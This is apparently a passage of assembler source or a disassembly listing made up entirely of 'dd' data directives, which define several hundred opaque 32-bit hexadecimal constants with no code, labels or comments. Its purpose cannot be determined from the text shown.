		dd 0BDB31203h, 0E9A8E00h, 43F1ECB0h, 163E01E9h,	1AEBBF2Eh
		dd 587112h, 86AA8208h, 789C32F3h, 1088C430h, 140899Fh
		dd 0CCDBAAF3h, 0F07B9B4Dh, 0EC5B9C91h, 4132AC03h, 546BC2ABh
		dd 0CC95939Ch, 260021B8h, 8FBAFAF1h, 0A839D001h, 9764F8A0h
		dd 4CC14013h, 80F022E4h, 4131743Ah, 10CF6947h, 74AC70C4h
		dd 2EC8615Ch, 399ECC34h, 1127A02h, 10DB0266h, 973EC0C8h
		dd 2240B067h, 0D0201D1h, 54E8AA02h, 0B051EDBAh,	3C600980h
		dd 0E682C54Ch, 0E22B8090h, 3864A41h, 37741A30h,	1065B6C7h
		dd 9381EB1Ch, 9931CEC2h, 0CCA0803Bh, 1FEF069Dh,	0C08F669Bh
		dd 0B329FAA4h, 982041DBh, 14A2278Dh, 3CA0D08Eh,	0EB12F7BCh
		dd 48377F40h, 0E606BC99h, 68F86441h, 0B112EE09h, 68BCEA77h
		dd 9AE17B24h, 62ED20F0h, 3E04F197h, 1A19B43Eh, 314C10A9h
		dd 20082E08h, 0B7A00797h, 16040CDh, 3C3C8743h, 7C54CD3h
		dd 2442EF9Eh, 0F1156CC2h, 6081254Ch, 3CA14D94h,	3C978144h
		dd 162B5541h, 93C89814h, 0FC038217h, 2480B4D1h,	0FBE6F420h
		dd 8008021h, 0B15EA03Eh, 0F38A00D0h, 40A9DC15h,	0DF71F04h
		dd 0E4AC4C9Ah, 0ED2A3D02h, 9D00225Ah, 1FC7B450h, 401B90ABh
		dd 0CEEECC05h, 6B4E422Bh, 994A3C8Ah, 1B8051ACh,	0CF98507Ah
		dd 409AA093h, 33D5D120h, 0EC40A8F1h, 89FC3CF0h,	9F2FD717h
		dd 0A81BF424h, 67BCD198h, 69E420h, 2955727Dh, 12F33A21h
		dd 80D77CEAh, 900090D9h, 79F0573h, 391AE4A0h, 0D8DCDB01h
		dd 66278185h, 6138F442h, 4498897Bh, 165B4230h, 0F4036E65h
		dd 29739C5h, 821FD422h,	0B4FB4D3Bh, 505CBB94h, 820015A0h
		dd 615632FDh, 96BF1288h, 0E4022F38h, 0F4661199h, 5B126C13h
		dd 483138A0h, 2E047CBBh, 0C7D3929Ah, 95C8A130h,	52C63006h
		dd 2A8D94BCh, 443D0F4h,	0B3B12610h, 22093CF4h, 5840E9C0h
		dd 0B07502EEh, 0A75B6602h, 60F0504Eh, 3E70A478h, 8403C120h
		dd 542B9EDBh, 12E4FFE0h, 0F4820B26h, 41090848h,	9D38581Dh
		dd 90971D50h, 0F445A2D0h, 748B4827h, 5248E45Ch,	50B0E425h
		dd 6B4EB9A0h, 4B818081h, 70206A01h, 53E0208h, 50081294h
		dd 341370F3h, 20F0CC63h, 9410C4B8h, 0B84A9B83h,	0CCB304ACh
		dd 0AB20D8BBh, 0F200F004h, 97E69D38h, 0C9EFACAAh, 0B8096411h
		dd 29B3C60h, 2C30C317h,	1C95F894h, 0C8406884h, 96F63F69h
		dd 91623502h, 81829E0h,	6B30133Ch, 8B82187Ah, 6180A04Eh
		dd 5010953Dh, 2154B501h, 0C709EDFCh, 20663EA2h,	0DC178F88h
		dd 37990F3Ch, 50C41D7h,	0D4B6A018h, 5008A219h, 0B610802Ch
		dd 0ED990414h, 70D0E212h, 588F94Ch, 0A2AA26C5h,	5B8C343h
		dd 44CE292Eh, 0F8E6631Eh, 8212ACA0h, 0A08839DCh, 2D841611h
		dd 871804F1h, 2C20A1BAh, 3CE8489Ch, 10384068h, 132BF741h
		dd 0BA01DDD4h, 0F588133Eh, 8C698981h, 2EAA32C1h, 0FFBA1400h
		dd 26070B7Dh, 28C32983h, 0EC662EB0h, 5B641008h,	8501C803h
		dd 9420128Bh, 42F4E5EEh, 945CA900h, 0D5A8E225h,	4566409h
		dd 5F828E85h, 0B895h, 73F9498Ch, 96343041h, 9E25D3C8h
		dd 132B3A04h, 180D7683h, 0C0782130h, 3800C581h,	0E3ABB21Bh
		dd 445945h, 6588686Dh, 361623EAh, 369BB3Ch, 0FF31C3BCh
		dd 5CF898A0h, 281C252Ch, 0C0D90089h, 44A5461Eh,	0B626286Ch
		dd 0D4970098h, 2D3647A0h, 80BA5F13h, 749CB89Ah,	0B9966578h
		dd 0E6920CF4h, 91091C48h, 8933CBB3h, 15904694h,	0A0A1E282h
		dd 3A456539h, 16412842h, 689A02F3h, 0A03B18F1h,	189A954Bh
		dd 4FB0A408h, 412668F8h, 0A8920B28h, 6C8878BEh,	20C39CFFh
		dd 9CAA98A0h, 2642B53h,	0EACD01A9h, 1844743Ch, 7682D8B1h
		dd 3D006CBCh, 25C68DFh,	61F00EAh, 8F8DC7ACh, 0F35B0120h
		dd 5E68F881h, 0F240AC40h, 0E6F634AAh, 1204E9A1h, 9C54033Eh
		dd 0A1EB138Ch, 6451D0E3h, 1324282Eh, 108F5531h,	0EFDC8314h
		dd 903E5F88h, 5734D67Ch, 6B04AD00h, 369AE7CDh, 3F260018h
		dd 8241C1F3h, 0E1D0354Ch, 0B2EF1CC0h, 583EA4EBh, 74944F14h
		dd 942114D9h, 0F85F04C2h, 0F1DF10A0h, 75D39600h, 1333C586h
		dd 2F84820h, 0B0F7400Fh, 7856068Dh, 25A894ADh, 6090A7ABh
		dd 18C04E3Eh, 8E921726h, 0CA6B3844h, 0B85C51D8h, 6CD7D31Fh
		dd 0A09593D0h, 0F15EBDC0h, 0B02CBC13h, 72BE2FCFh, 0B8C1E829h
		dd 992830F7h, 0D0B67CB8h, 3E27102Ah, 2B7CE84Bh,	846803A7h
		dd 0EBD90119h, 25E4A9C4h, 3BA0872Eh, 74AA8082h,	31606498h
		dd 0D8680BE9h, 37C50D1h, 9777296Eh, 43F2251Ah, 64F10881h
		dd 0DE484286h, 0DB40277h, 0D8E86284h, 5B821A84h, 0E091FFh
		dd 0DF2E2C8Ah, 14AF1479h, 1D281044h, 6F820A65h,	4C25A4EBh
		dd 8480B9E4h, 0EC143682h, 46218584h, 0B4C068C6h, 0E047E97Ch
		dd 9C80EC87h, 0C1019591h, 8E10B07Ch, 0C02F0461h, 98F80708h
		dd 28B85E89h, 85413541h, 7830805Dh, 0E5A01E7Eh,	3A0185FDh
		dd 89509006h, 0D74F029Dh, 40C0F8C0h, 0A061D8D0h, 86BF4C3Eh
		dd 2011A4E8h, 0ED00F521h, 0CF6F37A1h, 1C79EC2h,	0DB6C085Ah
		dd 26EA9475h, 71345024h, 31DAA700h, 8908D8B7h, 382AFC1Fh
		dd 148090ABh, 0A08A2BE9h, 9A00E2EAh, 78DDD50Ch,	193499B0h
		dd 0C88D6482h, 186433E7h, 5603BAAh, 38F3C1Ah, 0B69F820Ch
		dd 3548C620h
		dd 0FC132888h, 8195AC9Ah, 0A3B101E8h, 98CC583Ah, 0C50EEFABh
		dd 8FE69815h, 0EED1833Bh, 2642A065h, 0FF903D4Ch, 1BEC7602h
		dd 74C05532h, 0E70BBFB8h, 20C17E82h, 0E95A944h,	94C4000Dh
		dd 0D3146A9Ah, 41FEF885h, 0D1B76703h, 0C23B1AACh, 9A088229h
		dd 8114AF12h, 8E0B9E2Bh, 24D8A13Bh, 9C4C1F54h, 250182F8h
		dd 85B304A5h, 2B488C74h, 3293D425h, 7B3CE44Ch, 8E011987h
		dd 5A4F9E8h, 0A9BDB4A4h, 0EC216684h, 9430B008h,	2956190h
		dd 92A42401h, 0CC7D823Ah, 7EEEC584h, 3230CC31h,	0CD6BDB01h
		dd 149447C9h, 0ECF3139Dh, 0FDF4844Fh, 0E8BB1090h, 94013401h
		dd 8D98E912h, 7881A751h, 925869h, 7DD0D488h, 0AB00386Bh
		dd 5FF91AD7h, 19740176h, 0C06735A0h, 0B56188EBh, 71390966h
		dd 6E424C10h, 0BA5128BEh, 0EEA1C02Ch, 0CA7B0070h, 0A2610E60h
		dd 0EAC1994Ch, 0E0FF21C2h, 1B0140AAh, 171C3B9Ah, 90683313h
		dd 0BE0C224h, 38503427h, 0CC0197E8h, 8266B6F2h,	0D0009CA2h
		dd 2D4F5F0Ch, 5C4200DDh, 505C595Eh, 0BD691F12h,	6811DD20h
		dd 403CC909h, 3A12F3B8h, 67B08054h, 371320B0h, 8C841141h
		dd 0F98B28ADh, 8299B8C0h, 30298924h, 9C41DD84h,	344F5CB8h
		dd 9490908Ch, 41C4B68Dh, 0E0122E0Dh, 0F94FD258h, 74A25475h
		dd 0EA7C4192h, 814F3612h, 1F41AA18h, 27D0E13Eh,	3492B59Fh
		dd 0E087E4ABh, 364167A3h, 4962204Ah, 40243E98h,	19A33ABh
		dd 0E6AE3F35h, 2037C1C9h, 0E241EDACh, 0B4F42EF8h, 29A21268h
		dd 0A18D4048h, 0CD0BB3EAh, 0A1A28360h, 42C013BCh, 2401E470h
		dd 174C80DBh, 1158CCBDh, 9B120B00h, 0FB82A16Ah,	22D0BA9Fh
		dd 48C0A64Ch, 50D9D384h, 3FA098F5h, 0D8068DBCh,	308CB682h
		dd 70C8B14Eh, 0FD57083Eh, 9183E86Ah, 0C485E582h, 4E3C88D8h
		dd 0BDB89861h, 50C0D600h, 0DDAB35CBh, 0D2090120h, 0A66FDB78h
		dd 0D194E701h, 0D0D394A0h, 3C0F1AADh, 85412E6Dh, 8830674Dh
		dd 0B1D182h, 5B9E94CDh,	417E1110h, 2803D65Fh, 0EDBC12EFh
		dd 40048094h, 68ED355Fh, 0E06C8496h, 0D74B0184h, 87695CC1h
		dd 0C8D35D0h, 54C312BBh, 0E8C44C40h, 0FC005FB2h, 0FB90F8D4h
		dd 4A2841E8h, 4200F00Ch, 6727E969h, 0FA16DEh, 5C50109Ah
		dd 6501DAB9h, 5A442A49h, 19704B0h, 0D646E7D3h, 3F9912FAh
		dd 34C10406h, 0D1A80338h, 3FEAB9F8h, 0CEFDF9A0h, 2B0124F0h
		dd 0B7990308h, 1771EB09h, 4127E432h, 0E440346Ah, 180AF0ACh
		dd 88316AC2h, 56E0AD1Ch, 0D848C86Dh, 9602D380h,	6E4E2E82h
		dd 4CA64D8h, 213C89DBh,	2CACD947h, 35930B50h, 52E832DEh
		dd 376924D4h, 0A79692CCh, 17F057B0h, 50824984h,	86C7C36h
		dd 0E86046AAh, 278274D8h, 181032D6h, 0F89D6801h, 85A091B4h
		dd 0D4316D1Ah, 8FB80CDCh, 6C38DA20h, 6332001Bh,	7B29B835h
		dd 30126E5h, 8068800Ch,	593BDD90h, 5080444Bh, 7235C22Ah
		dd 32AE02F4h, 9502995Dh, 8E141856h, 37F855F4h, 5E404820h
		dd 14941481h, 960B7863h, 4464EA9Ch, 0B8CFA02Dh,	0BA5801B4h
		dd 88690020h, 53DEC02Ah, 181D03AAh, 0F9C03E95h,	219A9C92h
		dd 411890F2h, 2F685942h, 2270940Fh, 54600138h, 2A6E0014h
		dd 9AA57CD1h, 0C942390Fh, 46A9217Dh, 0E430AB21h, 1767FE0h
		dd 38A169E6h, 4245FA41h, 70D6FFC0h, 0D0C4820Bh,	5CA04B9Ch
		dd 802C595Ch, 2CD22F69h, 909F00C4h, 32262D21h, 0C513A093h
		dd 10423485h, 9A7C613h,	0CA88940Fh, 69269904h, 8601F091h
		dd 93005838h, 5E037DEFh, 9903F78Ch, 0A412F8E0h,	134025CAh
		dd 8469C0A0h, 500F384Bh, 0ACF2B04h, 9D05085Ch, 84B00F02h
		dd 5D90C495h, 255892FFh, 3FEBA482h, 49A07909h, 0ECD088E0h
		dd 0AAC00613h, 4A89CA0h, 8A4F1507h, 0E9248326h,	0A6E887E0h
		dd 699AB400h, 1F550D5Ah, 0F33B0721h, 0C093D532h, 44ED380Eh
		dd 0DDEBDE06h, 2081D81h, 416D465Bh, 0C0DC6066h,	5050CC27h
		dd 41068887h, 95E020A1h, 98340309h, 0F858E0B2h,	44C0B456h
		dd 0F34CF09Ch, 24839A28h, 22205C90h, 0B3352440h, 5D813930h
		dd 0DBED1D3Bh, 2D806013h, 5F23Fh, 9C49AE21h, 145C554Ah
		dd 9047DF12h, 8219C205h, 9CFCB094h, 1E482213h, 0C6CF2022h
		dd 0D828B5A0h, 20980CA8h, 220A9708h, 14269A2Dh,	183391Eh
		dd 0EB82763Bh, 0A47D8A1h, 8C5748F4h, 0A05D380Fh, 0B701D8E0h
		dd 74822BB3h, 0C4DA62DCh, 7D02C008h, 0FAD79AD0h, 0D008838Ch
		dd 9DE1C11h, 0ED01C990h, 0E11E28F0h, 0A012A35Bh, 0D8F00C56h
		dd 0A18F0337h, 6413226h, 114B2FCh, 0AA3D7161h, 88225C60h
		dd 18F4D610h, 0DCF1239Fh, 0BEFCF941h, 0BC4494E9h, 0B9A0B10h
		dd 18967194h, 37029BB8h, 40D8EE90h, 696B0E5Ah, 383F8600h
		dd 0F31326DEh, 42F09241h, 9C614E27h, 0AA0255E7h, 0F88898D4h
		dd 9CF601CFh, 7D2C6202h, 941E4A90h, 1A10426Dh, 854C7CDCh
		dd 0F8440295h, 5CE91680h, 4B762102h, 0BEACC040h, 0FC1A81C8h
		dd 2EBF7401h, 0A0AAAF78h, 873C4A82h, 962AEABAh,	0CAB30978h
		dd 50E40854h, 4B17F4BCh, 133CD04Dh, 0C8B9547Fh,	0DA434942h
		dd 8192E688h, 4F8220Fh,	69A07261h, 0B6F8E080h, 0A84A4CEDh
		dd 0D0459C16h, 41D936D8h, 47DE4727h, 8CAB1384h,	47407750h
		dd 2661793Eh, 0BF84AAFh, 0BC61900Ah, 2838602Dh,	0D8688741h
		dd 0C089A4CFh, 0F8046058h, 2B229471h, 4C7328A3h, 0FFC8FC43h
		dd 70CB820Bh, 0E2FB0450h, 8D333CC0h, 180F6B38h,	214A6699h
		dd 19900908h, 94E117EBh, 32A04238h, 860E405Bh, 92B02EEDh
		dd 0B2180A7h, 3E989C18h, 0D00997ADh, 3BF064F0h,	0F85CE8BAh
		dd 0F0CD07BFh, 62D0327Ch, 0F8356940h, 710B8CAh,	4778135Ah
		dd 0F243A0CEh, 0B85A6485h, 3B0E7CF8h, 0BC8F02EAh, 289D5101h
		dd 0D3DE038h, 8823D806h, 128ED78h, 0A28B929Bh, 0D3C27C98h
		dd 8818307Ch, 6420D790h, 0F511C32h, 312C076h, 20029839h
		dd 0AC07A7B8h, 53D7F36Ch, 14EB893h, 0E14F4720h,	85D8F720h
		dd 0C17CBC40h, 77012C43h, 0EEFCE006h, 0DA1F0003h, 0E3C1D6BFh
		dd 1F811CAh, 0B7F48100h, 2D5CD929h, 0EA0AC346h,	87E6FEh
		dd 26C28242h, 430C741Fh, 1348307h, 0D8C6710h, 0B5691825h
		dd 158A1246h, 5B0D55F0h, 1405C382h, 6FBEEAF0h, 0EB600A97h
		dd 1DB65778h, 26FB0234h, 0BFC1081Eh, 40457BE0h,	1F43EDF1h
		dd 0B925A88Ah, 0AA7F0028h, 9E9C241h, 0C9E25826h, 0D1F86300h
		dd 0EE4B922Eh, 8FEA1875h, 19893891h, 251D8C1Eh,	0B322A68Ch
		dd 677BEE54h, 0E3D25B16h, 0E3E938Ch, 6325BF5Dh,	1F03BB0Ch
		dd 0CD4027Fh, 850E7E66h, 199DC93Ch, 0E91FA7B6h,	312535C0h
		dd 8A6A2D8Ch, 0E880363h, 0F12E5D7Ah, 52327AA3h,	3A1C9F9h
		dd 90D4B15Fh, 835E0C94h, 0DE7EEF00h, 43DBF87Fh,	0EBC24B0Fh
		dd 0E5F3A004h, 280C5B84h, 42ACD602h, 748831EEh,	8808A5Dh
		dd 76DB6953h, 95D94D2Bh, 5108C52Eh, 21DAB930h, 0B74039EAh
		dd 2009559h, 712706D9h,	2A457FE9h, 72D88949h, 0ED2463F4h
		dd 3CF15CDBh, 54108043h, 4B036EBCh, 0F136F62Fh,	8253168Ch
		dd 1739ED8Eh, 696005E2h, 0B85457CFh, 54BA0017h,	82330A5Ch
		dd 6C150EEAh, 0CAA70679h, 0F7030EFFh, 77D72DD9h, 0E6724DC1h
		dd 8C55D8A2h, 0B57C0643h, 32FA4833h, 0BBFC0256h, 8C57DA12h
		dd 7D134242h, 7967E3B0h, 0A9097B28h, 44118575h,	0C6038A41h
		dd 60BF7D84h, 1F310C05h, 0F9C08689h, 125B0A5Eh,	10EC2A0Eh
		dd 0F07E0850h, 26131F67h
		dd 5092A84Dh, 905F08C4h, 0C7538806h, 406980E5h,	0A8203F38h
		dd 0AC79AC5Ch, 0C2C7F30h, 60D06886h, 1C234866h,	8A06E70Fh
		dd 0EB69EAE0h, 2959753Eh, 92A42D6Bh, 0EABF4255h, 53059032h
		dd 0F508A30Ch, 10B201D0h, 0E8C22C7Ah, 0E5C8E406h, 810095FCh
		dd 2A60FF8Ah, 0A2885FF3h, 1A7F8298h, 0CB220348h, 8BE089BCh
		dd 38A5867h, 7BF8BC23h,	0D4EDF590h, 3B9806BDh, 0C88416E0h
		dd 3D88051Fh, 0A66923F0h, 8FE49172h, 4CE3BB53h,	0D1C87617h
		dd 0E3ABD7EAh, 21BAD712h, 0E4CFBD27h, 2E001FB1h, 138933FFh
		dd 4F042BEAh, 0D92A3E58h, 9575E881h, 597B4C05h,	0BE2856ADh
		dd 0F0292605h, 0F0314F5Eh, 7A83DFE0h, 4148905Ah, 0AD8DB6CFh
		dd 0C43FC972h, 5EF65059h, 4ABA3619h, 229B5234h,	0B4C16C34h
		dd 6109327h, 0AA737732h, 0A03DF392h, 0CC820532h, 0C059521Ah
		dd 3DAC4F7h, 0C1DCA31h,	66E00C73h, 78DF4802h, 151C7210h
		dd 36AF0590h, 49E351E3h, 30702E5Ah, 19248234h, 0A390714Bh
		dd 3C65F131h, 0F2F84A42h, 0BAE20F7Dh, 92CD5133h, 0E7E0C346h
		dd 290F49B9h, 0A6DFF81Ch, 16A72E61h, 1E3257F0h,	0EEABCCC6h
		dd 54EC5E30h, 0D48FCA4h, 0A1BC986Eh, 429B067Bh,	448553EAh
		dd 0C8BD5B51h, 4C48B263h, 8D022AA9h, 6120D680h,	49D10A82h
		dd 0F093D229h, 2A3D6C32h, 0B854014Dh, 6284EAE5h, 16F26822h
		dd 12898C14h, 0BB425556h, 98E18A51h, 0A2C184C7h, 3FA522FAh
		dd 202E46A0h, 0B0C1694Ah, 274F6410h, 0A67521ECh, 206937BFh
		dd 1E63D327h, 6B53150h,	905E3740h, 13B9016Ah, 0D80A730Fh
		dd 1DDA815Bh, 50061E5Fh, 31EAC024h, 0A329838h, 8067DDC1h
		dd 50A569A5h, 0B05E430Eh, 70C8D228h, 26ACEA60h,	5AD0B9C4h
		dd 0E4445C4h, 310184B9h, 0E45967E2h, 0D6A0E8DDh, 9AEE8605h
		dd 31CC2854h, 0B710C418h, 0C10F067Eh, 81C05817h, 2A27D414h
		dd 8C60FB0Ah, 9168413Dh, 0B14DD100h, 73E92A1Ah,	0A206F05Eh
		dd 0EA4CA10Ah, 30973B90h, 0C0200632h, 0BA280E3Eh, 8E2C5703h
		dd 0CF4A4758h, 0E90D4565h, 401D4959h, 87C8060Ch, 0A30FEA04h
		dd 9385B105h, 0D1A04C23h, 0C6F83805h, 0BE815939h, 3EF03C0Ah
		dd 0EA1574E9h, 24857319h, 4E0E9552h, 4E0156F5h,	353594Dh
		dd 18047F70h, 0C5F121Ch, 6F304797h, 6A2AC431h, 2363E7Ah
		dd 0D8BB2E60h, 0D8B0F28Eh, 0FC202FB0h, 0C7ECA038h, 85BAB12Eh
		dd 0D90ABD69h, 0C6880C71h, 412EEA18h, 90345A0Eh, 6326C84h
		dd 672E5D0Dh, 7D8A4686h, 722AF7DDh, 78DD22FAh, 51038310h
		dd 59636956h, 0BFB06B40h, 832EDF01h, 23EA4762h,	0BA638335h
		dd 0CF086480h, 0ACE12E19h, 617BF03h, 3FC5BA1Ch,	0EBD0C771h
		dd 10665896h, 41C30222h, 4BD93108h, 83DE65CBh, 0F0192F8Dh
		dd 320562BDh, 0D07EEAC9h, 0A410671Dh, 9CF24AD8h, 0C3FFA849h
		dd 5F6E0514h, 46936979h, 723D8AB5h, 2F3793A0h, 823B4907h
		dd 0D2F29BC7h, 65796946h, 0E4D10FCBh, 0CF255605h, 84CF5091h
		dd 0E7A02C7Fh, 4A548ADCh, 26056F8Bh, 0DA68D835h, 5E02331Eh
		dd 641BB432h, 3C20654h,	553AB0A2h, 0EA12D4B2h, 39132E5h
		dd 77C26h, 679E1D78h, 15D35A18h, 0AADC8FEBh, 30DC0CBCh
		dd 98EE9295h, 0F11D1888h, 0ED8D166Fh, 0D6C70280h, 5C18042Dh
		dd 3C1D4F2Ah, 710FE4D2h, 26B0640Fh, 300D0B0Dh, 3792335Ah
		dd 0E38A5312h, 0D684E08Ch, 0F514370Ch, 0C2C5E2Dh, 0E81164EDh
		dd 49CF62C3h, 70D39709h, 0BB1A2496h, 9009696Eh,	0EAC2F110h
		dd 9869080Ah, 0ACA82916h, 5B7EE809h, 8B0E9B06h,	775E0E57h
		dd 0F8C6A11Ch, 2D002AD2h, 670BB6Ch, 1F637B4Dh, 0C2603613h
		dd 0C232D1F9h, 54801A51h, 0FF0F2EBCh, 15FB01Ch,	43C73C02h
		dd 52AFEAh, 74B16967h, 0E9EFAB6Bh, 0AE47DBCDh, 24694BDCh
		dd 64A75EB4h, 4E1E8255h, 300E5706h, 68F73F02h, 0AE6096Dh
		dd 255CD648h, 0E9A52E45h, 8ADC23C2h, 92C392E9h,	2E275254h
		dd 606D1CF1h, 0E68A565Ah, 8191AAB0h, 8774BBBh, 808AF3A0h
		dd 1E76FFh, 5A5287CBh, 48DEEA17h, 900D4799h, 0C1EF8F65h
		dd 0A3C4F682h, 8A0816B8h, 0D2432CF0h, 0BDC2E83Eh, 940BF506h
		dd 841B5775h, 0C11B2F89h, 9E4F35C1h, 8462C49Bh,	0A68D9406h
		dd 965A4B0h, 0EE11AC10h, 5B75716h, 17FC1375h, 66A62206h
		dd 69154C58h, 5CC2100Fh, 4B8D1841h, 7F3AEBA7h, 0D58524D1h
		dd 12699D8Bh, 2530356Eh, 0BEDF47C7h, 0C27A0113h, 0D06A71E2h
		dd 0CD7C3E45h, 0F2EA5209h, 0C782265Dh, 0AA52082h, 0F902F590h
		dd 0F8134B09h, 80B480D3h, 0F06E432Dh, 9DC2A0DBh, 0F1A0B0Dh
		dd 0A80D78Ah, 0AC37D6CFh, 80415D51h, 48A6BC8Eh,	0B84C5E9Fh
		dd 0AE3140FEh, 5213A2B0h, 6501E28Ah, 7FE67EA0h,	79825F30h
		dd 297124EFh, 747A3CA5h, 5919CFD4h, 2DA0EC1h, 608E75F2h
		dd 6282461Fh, 91CCEA1Eh, 0C315467h, 84EDD61Ch, 9B2AEA13h
		dd 3E52F68Ch, 281A5A55h, 39C1194Ah, 1FE7526h, 3324A3BBh
		dd 69376169h, 9A2379D1h, 0CAE74C73h, 0BA316869h, 2479EE9Fh
		dd 2F2ABB02h, 12506163h, 0BB8546F6h, 0EA5402F5h, 32062F18h
		dd 2E3448D6h, 0EADA4E92h, 261CD92Eh, 0A30B34BFh, 0C924596Ch
		dd 0AD49609Ah, 0D2C3169h, 665DB617h, 0C46A588Eh, 8C1038A3h
		dd 3CE4687Ch, 705351ABh, 48045F9h, 0B8395963h, 8B10F8D5h
		dd 0D588299Dh, 0DAFC86A2h, 5C5AF161h, 83E05167h, 0EFC1800Ah
		dd 0A13C0666h, 34E34B4Dh, 9BE5807Eh, 74603C76h,	0F80BB70Ch
		dd 0E1EA1923h, 2C0A52F5h, 9709103Ch, 48F0D201h,	0A404E8C2h
		dd 2200B45Fh, 813A9132h, 6DB60EF1h, 0E9C17016h,	200B62D0h
		dd 5900CFBFh, 3D66C905h, 1FB82D11h, 416A3423h, 0EC3EE9F8h
		dd 0D859C5FFh, 7AC33A02h, 0BC68525Dh, 2AC3F997h, 0BE0A2814h
		dd 0C181000Ah, 32991A63h, 67612EE9h, 0E7895716h, 0C704C7F8h
		dd 69EF8329h, 66E5A586h, 77C58007h, 0C1A71C2Ch,	306814CCh
		dd 892E4BC7h, 543D2434h, 8DBD375Eh, 0B8A704A7h,	673940C0h
		dd 0FCC0325h, 7DE918B7h, 0C10424D6h, 0D5F706EDh, 5568CA80h
		dd 81F041h, 291EEBEFh, 50E7D163h, 18EDB802h, 63E9793Eh
		dd 0BA3C0762h, 0C1061E23h, 895AD731h, 6B2DDBh, 78E9F98Dh
		dd 682AC028h, 15B9112Bh, 7C1D5F7Dh, 585F0424h, 0AD70630Ch
		dd 7D55F63Ch, 128F60E9h, 0B251B753h, 0FA307C0Fh, 5835A55Bh
		dd 0C0970D01h, 62EC02EFh, 1E16DE10h, 0E3803DEBh, 0D3C38006h
		dd 38C4D828h, 0BD0A54D6h, 4C464FAEh, 0FF0A0A73h, 958B3C77h
		dd 6876806h, 0A71C518Fh, 1B11A171h, 0BC43D89Eh,	0E7FEB1ACh
		dd 0EB290C80h, 788AC381h, 0EEC2BE63h, 0C471239h, 21340F24h
		dd 52567283h, 96751FF9h, 8507BF1Eh, 0FDF0577Ah,	0FED815Fh
		dd 0F53B8F1Eh, 9E5DE927h, 0B9F2CF62h, 20CE0F41h, 1C401634h
		dd 0EE800058h, 0B151665Ah, 0CE7F2026h, 94F09430h, 67DBD55h
		dd 0F7750619h, 0C83B5CDDh, 331BB68h, 4C3BE0E5h,	5F5E069h
		dd 3E1F3071h, 2A4B410Ch, 52E9310Ch, 101683Fh, 665F05D8h
		dd 0F451400Eh, 1AC79855h, 61F248Bh, 4C74D6A5h, 6112A4BDh
		dd 45270C08h, 3C023674h, 79E9BF9Ch, 54B8AA29h, 60148B0Eh
		dd 8104C483h, 37B1A6ECh, 0D85F0C4Ah, 7EB7A08h, 0A3E4C581h
		dd 26D94291h, 29268195h, 0C3015AD0h, 89523180h,	0D7B0E9E2h
		dd 565836DDh, 0A28B669Fh, 893710C7h, 0A464C42Ch, 0C3CD9248h
		dd 9D7345A3h, 15F71703h, 130AA29h, 0C3DECC0Ch, 0F393E945h
		dd 74EA2303h, 0B058C706h
		dd 0E09E62F2h, 9DE910FDh, 0F7543E28h, 0E057031h, 9F95D5Ah
		dd 7A49BA2h, 51C8AF0Fh,	69CBD39Ch, 31EF5900h, 2925F664h
		dd 820F98D7h, 30A12F08h, 0E7C1B360h, 0C726E908h, 7DA84521h
		dd 0BD756754h, 1152F909h, 5FB071Ch, 0C01DE535h,	767CF581h
		dd 0C7E7D133h, 2458F670h, 0D9E919B7h, 0D85E4294h, 0CC9511Dh
		dd 16690B9h, 18ACA2CEh,	2AE95645h, 7DCE6CDh, 0EAE012F2h
		dd 0F4ACB301h, 61BF1603h, 756B06Dh, 151D0CE4h, 0CFE76039h
		dd 8267F70h, 41AD44Fh, 0FE4848D6h, 206D1C40h, 0F38A98E9h
		dd 0BEF003E2h, 905A5840h, 64231DD7h, 0C2814180h, 41DE0A4Ch
		dd 53C63D6h, 3FFC0439h,	0D5C6ABF1h, 0EAC06631h,	0EF96AB47h
		dd 895F0322h, 0C2315BDAh, 98832F20h, 3FB49050h,	0F2121EA8h
		dd 600B015Eh, 20176769h, 0DA60ABFCh, 58C68942h,	120D012Dh
		dd 0F0011126h, 5E074105h, 5C568C87h, 26686166h,	6E4B5D42h
		dd 5551E362h, 362BD8E0h, 4B3DFB76h, 7D8C8981h, 41350286h
		dd 3C8B020Ah, 4E8F5186h, 0BC20DBA4h, 205890F8h,	513E4DDAh
		dd 0A0CAD50h, 7AEC95ABh, 808F07B7h, 0E983DEE7h,	29AABE82h
		dd 4D208706h, 1650795Ch, 51F65951h, 7A53EC10h, 1006D524h
		dd 0DA4C7F45h, 0B0533A8Bh, 120D696Ah, 0A1853687h, 0F0486CA9h
		dd 1D9944F8h, 1918A9A6h, 0E5DE3A1h, 432B6032h, 6E15F3E1h
		dd 739330BFh, 0DA5E7940h, 98809AF7h, 51209DBAh,	7D684C0Ch
		dd 0A8F6996Ah, 16A3B5FFh, 0C1FF580h, 140CDAB6h,	59EB3016h
		dd 7D032C0Eh, 0B0500680h, 39C8FEB3h, 91383B2Ch,	9958C315h
		dd 0FC4085D0h, 0B14E6D3Eh, 0AA3A4C8Ah, 1BFD0B59h, 0D11A74FFh
		dd 14991D58h, 0B431EC33h, 0DC400D06h, 0E9E08950h, 391E9A68h
		dd 0E126DC88h, 12E03946h, 0FC3305Bh, 99C0B628h,	0D430877Eh
		dd 0B2521CD3h, 0E2801682h, 0A71B0EA9h, 8CE5DCDFh, 0C899105Ah
		dd 9360F9F2h, 1AD2D0Ch,	29843409h, 0D930C2E0h, 8DF58109h
		dd 4530F42Fh, 0E91A8E34h, 8828DB6Ch, 1090B8Bh, 3C6F04F7h
		dd 0C02E438Ch, 313A05C9h, 0ADB806EAh, 0CC926DA1h, 0CA987A8Bh
		dd 783D680Ah, 9D03F96Fh, 0E065F248h, 63405CBh, 0B6E92307h
		dd 0F784643Bh, 5C9A7CF2h, 209E876Fh, 120F1A05h,	9869B015h
		dd 65FD0B90h, 88000DDCh, 32C228D4h, 7588C98h, 0D4E93960h
		dd 851A0FDCh, 80A8F93Ah, 56521B4Eh, 0D8F72E2Bh,	47E1079Ah
		dd 1F4F07F4h, 40D31F53h, 2BA215E5h, 0E97AF829h,	35C315Dh
		dd 0D60845BBh, 2006D939h, 0F6506600h, 124541Dh,	26441A6h
		dd 49F48040h, 0E7398853h, 92FDBA51h, 9D1459EAh,	5C2D92EEh
		dd 24E97BE8h, 923E495Ch, 0EA2C88C2h, 889087FEh,	6ED8E913h
		dd 10629E52h, 615F42D2h, 0A7DAB646h, 34DC2F9h, 36A6D20h
		dd 1911824h, 4D108BD0h,	89145EC9h, 940095E6h, 402A494Dh
		dd 7607F405h, 0E8C146E7h, 0F604067Ch, 0C76709A2h, 8A8801FFh
		dd 31A70290h, 0FC806DD2h, 55EE2874h, 8FE3C124h,	0EBF3AC3Ch
